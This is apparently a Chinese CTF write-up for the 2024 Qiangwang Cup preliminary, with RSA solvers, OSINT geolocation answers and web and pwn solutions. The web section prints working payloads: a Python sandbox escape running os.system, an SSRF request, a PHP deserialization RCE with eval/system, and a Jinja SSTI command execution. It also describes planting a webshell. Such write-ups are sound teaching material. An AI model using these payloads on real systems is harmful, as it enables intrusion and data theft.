2024强网杯初赛

本文最后更新于 2024年11月4日 凌晨

前言:劳累了两天也估计没捞到强网先锋,明年不组校队了,和好基友一起打,下面是写出来的wp.

crypto

EasyRSA

原题,参考链接challenges/crypto/RSA/huwangbei2019_Crypto1 at d7982b92088b0721a7e5d39e8b435eef342f0a43 · f61d/challenges (github.com)

注意nc之后不要再懂否则数据会变,由于脚本的时间运行过长,多r和s进行微调调高以便于减少运行时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert

# Provided values
N = mpz("40243990750505497447119142724918508972023685002193535538925760185989269927009265000583179882394443707044670688673652061931766921349484426157243156835486688548875749087088026581541072488848092015916025933065059849550314913033019288477073327244531196592854069085805327970344647016765805696481717994683690079970704294081304537391703486185586123305900589487013532770363339123982194285472260226599714380834737734831803394319517973274426589122168509213280556395497691572258350542074078214554135885657306218192721380426141235733006953294820536454789760819681428380026752390441999199897667266789774009477790578221035241495223")
e = 65537
g = mpz("2109787150090953312235258678723810207880972377036785180914519474837393008384555651457057572424765037173210203914801783492968832699583987773593729839133")
C = mpz("21367441924425943839427841815099770728458770984710300834938651458288050916725744832023227264230427506705418772127446511483114733491183841845986531951409518716090859928426501514127346180854292883087878456598016288947496534594729349810906081177522538491209502469962042951737021249010035528081936674593051128324637232682623256981914449754786277635703191383286273667678072503225909037676914214413782915159979917233501531513418963203473525987305943396381784093386990402243188486176237327343832978841189599882411519738343310114913787323675742837640617185796511242848657116487554906156968767194839181988504167335398586003891")

# Calculate h, u, and v
h = (N - 1) // g
u = h // g
v = h % g

def Solve_c():
sqrt_N = iroot(N, 2)[0]
C_approx = sqrt_N // (g * g)

a = 2
b = powmod(a, g, N)

for i in range(2, int(C_approx) + 1):
D = (iroot(C_approx, 2)[0] + 1) * i
final = powmod(b, u, N)
for r in range(5200,int(D)):
for s in range(3000,int(D)):
if powmod(b, r * D + s, N) == final:
print(f"Solution found: r={r}, s={s}, i={i}")
return r * D + s

# Get the value of c
c = Solve_c()
print("c:", c)

# Calculate A and B for quadratic equation
A = u - c
B = v + c * g

# Calculate the values of x and y
delta = iroot(B * B - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2

a = x // 2
b = y // 2

# Calculate p and q
p = 2 * g * a + 1
q = 2 * g * b + 1

# Calculate private key exponent d
d = invert(e, (p - 1) * (q - 1))

# Decrypt the ciphertext
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))

ezrsa

apbq

第一阶段泄露了p+q的值,第二阶段泄露了100个形如aip + biq的等式,其中ai和bi是180位的随机整数,第三阶段泄露了两个等式:ap + q和p + bq,其中a和b是512位的随机整数。

第一阶段可以先使用韦达定理求解p和q,分别为较大和较小根,然后进行简单的验证,之后就是正常的计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import inverse, long_to_bytes
import math

def stage1_solver(n, e, enc, p_plus_q):
b = p_plus_q # p + q
c = n # p * q

delta = b * b - 4 * c

p = (b + math.isqrt(delta)) // 2
q = (b - math.isqrt(delta)) // 2

# Verify
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

pt = pow(enc, d, n)
return long_to_bytes(pt)

n = 89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
e = 65537
p_plus_q = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
enc = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247

try:
flag = stage1_solver(n, e, enc, p_plus_q)
print(f"[+] Decrypted flag: {flag}")
except Exception as e:
print(f"[-] Error: {e}")

得到第一部分的flag

第二阶段提示中的整数列表,构造一个矩阵。每一行可以对应一个可能的 k 值和对应的加密消息。应用 LLL算法对矩阵进行基规约。寻找适合的线性组合,以确定合适的 kq用找到的 kq 值进行因子分解,以获得 RSA 的两个质数 p 和 q。随后可以算phi_n,利用已知的e和d进行计算,最后解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import itertools
from Crypto.Util.number import long_to_bytes
from sage.all import Matrix

def decrypt_stage2(hints, enc2):

n = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
e = 65537

k = 2 ** 800

V = hints[:4]
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]

M = (k * Matrix(B[:len(V) - 2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V) - 2]) == {0}]

# 寻找合适的线性组合
for s, t in itertools.product(range(-2, 3), repeat=2):
T = s * B[0] + t * B[1]
a1, a2, a3, a4 = T
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!', kq, s, t)
break

# 寻找q
for i in range(2 ** 16, 1, -1):
if kq % i == 0:
kq //= i
q = int(kq)
p = int(n // kq)

# 计算私钥和解密
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(enc2, d, n)
flag2 = long_to_bytes(int(m)).decode()

return flag2, p, q, d

hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
flag2, p, q, d = decrypt_stage2(hints,enc2)
print(flag2)

第三段利用到第二段的部分数据,在处理数据尝试利用public3时解密发现不能正常解出尝试后利用pub2可以得到flag最后一部分,上exp吧

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import long_to_bytes
kq = 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
enc3 =17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
flag3 = long_to_bytes(int(pow(enc3,d,n))).decode()
print(flag3)

三个部分的代码解密出的拼接可以得到flag

21_steps

[算法] 汉明重量(Hamming Weight) - Mryqu’s Notes原理文章

目标是计算一个128位数字中1的个数(也就是二进制表示中1的数量),要求在21步内完成

每个操作必须符合pattern正则表达式:([AB]|\d+)=([AB]|\d+)(\+|\-|\*|//|<<|>>|&|\^|%)([AB]|\d+)

如果成功计数器达到 100,它会打印 flag 。

1
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])

这个代码,这里的 bin(x)[2:] 将整数 x 转换为二进制字符串并去掉前面的 '0b'。然后,sum([int(i) for i in ...]) 通过列表推导式统计字符串中每个字符为 '1' 的个数。判断生成的随机数 A 的汉明权重 wa,汉明权重就是指一个整数的二进制表示中“1”的个数,通过汉明权重的计算,验证在一定步骤限制内,用户输入的数学运算对 A 的值。

汉明权重计算的过程是通过位运算高效地统计一个 32 位整数中“1”的数量。首先,将整数按 2 位分成 16 组,使用与 0x55555555 进行位与操作,以提取出每组的最低位。接着,通过右移和加法 A + (A >> 1) 合并相邻的两位组,形成一个新的数。然后,与 0x33333333 进行位与操作,提取出 4 组位长为 4 的数。再通过右移和加法 A + (A >> 4) 将四组合并为两组,并与 0x0f0f0f0f 进行位与操作,确保结果的有效位。最后,通过 (A + (A >> 4)) & 0xf 计算前四位和后四位的和,得到最终的汉明权重。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import random

def calculate_weight(A):
# 记录每一步的操作
operations = []

# 定义常量
masks = {
'B_mask1': 0x55555555555555555555555555555555, # 0x555...
'B_mask2': 0x33333333333333333333333333333333, # 0x333...
'A_mask': 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f, # 0x0f0...
'final_mask': 0x7f # 0x7f
}
B = A >> 1
operations.append(f"B=A>>1;")
B &= masks['B_mask1']
operations.append(f"B=B&{masks['B_mask1']};")
A -= B
operations.append(f"A=A-B;")

B = A & masks['B_mask2']
operations.append(f"B=A&{masks['B_mask2']};")
A >>= 2
operations.append(f"A=A>>2;")
A &= masks['B_mask2']
operations.append(f"A=A&{masks['B_mask2']};")
A += B
operations.append(f"A=A+B;")

for shift in [4, 8, 16, 32, 64]:
B = A >> shift
operations.append(f"B=A>>{shift};")
A += B
operations.append(f"A=A+B;")

A &= masks['A_mask']
operations.append(f"A=A&{masks['final_mask']};")

return A, operations


A = random.randrange(0, 2 ** 128)
print(f"Original number (A): {A}")
weight, operations = calculate_weight(A)
print(f"Binary weight of A (number of 1's): {weight}")

# 输出指定格式的结果
result = ''.join(operations)
print("Result:", result)

misc

签到

直接复制粘贴

Master of OSINT

辅助工具

https://geospy.ai/

拾取坐标系统 (baidu.com)

图1

什么都没有,看到一条公路,比较长,远处还有海,一开始没什么思路,看到网上有视频是关于附近的景点

1

看到是倒茶壶公路,使用百度地图查经纬度,就试成功了。

坐标:99.977293,36.66667

图2

图2

直接在地图上搜迪卡侬 百安居

图2.1

图2.2

坐标:121.566975,31.210906

图3

能看到一个清晰的中国石油还有不清晰的路标

抖音搜看看,百度地图不好直接出

图3

这个比较类似去地图定位看看

图3.1

全景图试了这个像一些,就百度地图搜了 双流机场,试了坐标,成功拿下

坐标:103.966657,30.571185

图4

关键信息是货车上的浙通物流和远处的宜家,定位浙江省内的宜家,然后找附近的告诉,位置应该在两三公里以内

图4

找到这里的宜家,感觉很像,查了一下坐标,输出正确

坐标:120.293197,3346334

图5

乍一看没什么思路,这个公路的栏杆是重庆那边的

图5

定位到重庆,然后就把图片百度识图一下,根据建筑地势高低较为明显来定位具体地点

图5.1

看着有点像,翻了下评论区,说这是重庆谢家湾的地铁站立交桥,多尝试了几次

根据提供的信息,百度地图查经纬度试了几次,成功了

坐标:106.524114,29.52509

图6

定位关键建筑

6

搜到是大报恩寺,定位到南京搜索附近马路

61

出经纬度118.783635,32.013335

图7

图7

图7.1

图7.2

抖音识别出来一个去湖南师大的视频,看了一下湖南师大旁边桥的全景图就找到了

坐标:112.970137,28.201502

图8

看起来是一座桥,下面是海,旁边还有风车和农田,由于本身是江苏人,了解一些地理特性,大风车通常是沿海城市多见,且桥呈现的是东西走向,可以排除一些桥的干扰,可以定位到是江浙沪地区的桥

想起来之前去上海有个桥也很长

图8

上海长江大桥,百度地图搜了,感觉很像,试了几个坐标出了

坐标: 121.734859,31.412815

图9

第九张的大桥支架很显眼,百度识图,看到这样的桥

图9

跟图中的很像,是武汉的桥

试了是武汉长江大桥

坐标:114.411892,30.66231

最后得到了flag

问卷

答完base解密

wenjuan

givemesecret

概率题,多问就能出

secret

Web

PyBlockly

前端测试print有回显随后在bp测试

将len函数替换成匿名函数使其永远返回 1。

1
__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147')")

利用$()执行内容来输出

cat tac nl没有,用dd可以

dd if=/flag

然后再对这些内容使用全角,绕过黑名单。

最终payload:

1
2
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"';__import__("builtins").len=lambda a:1;'';__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147');   ");'"}
}]}}

xiaohuanxiong

/install之后正常进前端,dir扫一下有admin管理登陆,尝试不能正常登入,御剑扫到/admin/Admins越权进入管理后台,这里可以添加管理员,然后正常登陆管理界面在支付管理页面可以修改php代码

xiaohuangx

插入木马,在前端进行命令执行

2

Proxy

给了文本主要分析给的go文件

有两个 API 端点:/v1/api/flag/v2/api/proxy,只需向 /v1/api/flag 发送一个 POST 请求,就可以触发/readflag

1
2
3
curl -X POST http://47.93.55.85:36924/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:8769/v1/api/flag", "method": "POST", "body": "", "headers": {}, "follow_redirects": false}'

proxy

platform

前端没东西dir扫一下

plateform

源码定位class.php判断session反序列化,尝试构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

$exp=new notouchitsclass(1);
#$exp->data='system($_GET[cmd])';//被过滤需要绕过
$exp->data='("sy"."stem")($_GET[cmd]);';
echo serialize($exp);

然后需要就行字符串的逃逸实测没测出多少位所以只能挨个试,上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = " http://eci-2ze3vvqmif956xeljg9p.cloudeci1.ichunqiu.com/"
params = {
#'cmd': "ls"
#'cmd': "cat flag" #未找到
'cmd': "/readflag"
}

data = {
'username': 'execexecexecexecexecexecexecexecexecexecexecexecexece',
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:26:"("sy"."stem")($_GET[cmd]);";}password|s:6:"orange'
}
while True:
r = requests.session()
response1 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response2 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response3 = r.post(url + '/dashboard.php', params=params, verify=False, allow_redirects=False)

if "flag" in response3.text:
print(response3.text)
print(r.cookies)
r.close()

snake

前端测试不出东西,可以扫路由

分析前端源码以及js没找出点,尝试bp改方向硬做,速度过快卡死,发现不太可行

正常的容器给的是80端口,该题给的是5000端口,常识的话默认正常python的题目是开的5000端口,所以往python的框架,序列化等知识点想

snake

先测试是否有sql注入的可能,测试常见的注入都没有成功

看源码里面的js,由于dir没扫出东西猜测可能是500的回显,自己构造snakewin,snakelose,snake_win,snake_lose等等的路由,唯一的可疑点是js里面有score的点可能注入,但不清楚,目前已知的注入点只有一开始的username,尝试进行测试在snake_win有回显

snake1

测试是随着第三个数字改动的,不能直接注入测不出可以得到什么库的,但是感觉可能和框架有关,配合fenjing同步测试

snake2

可以尝试进行利用直接打个payload看看

1
2
/snake_win?username=1'union select 1,2,"{{lipsum.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag', shell=True)}}
')}}"--+

snake3

Pwn

baby_heap

先nc连接结合ida分析menu有五个选项涉及堆分配(添加商品)

本题可知是heap题,内存管理限制,释放后访问UAF,然后GOT的覆盖,实现执行

在堆上分配两个内存块,释放其中一个并通过调用 show 函数泄露其地址,计算出 libc 的基地址。接着,覆盖全局偏移表(GOT)中的函数指针,将其指向 libc 中的 puts 函数。最后,触发漏洞并进入交互模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
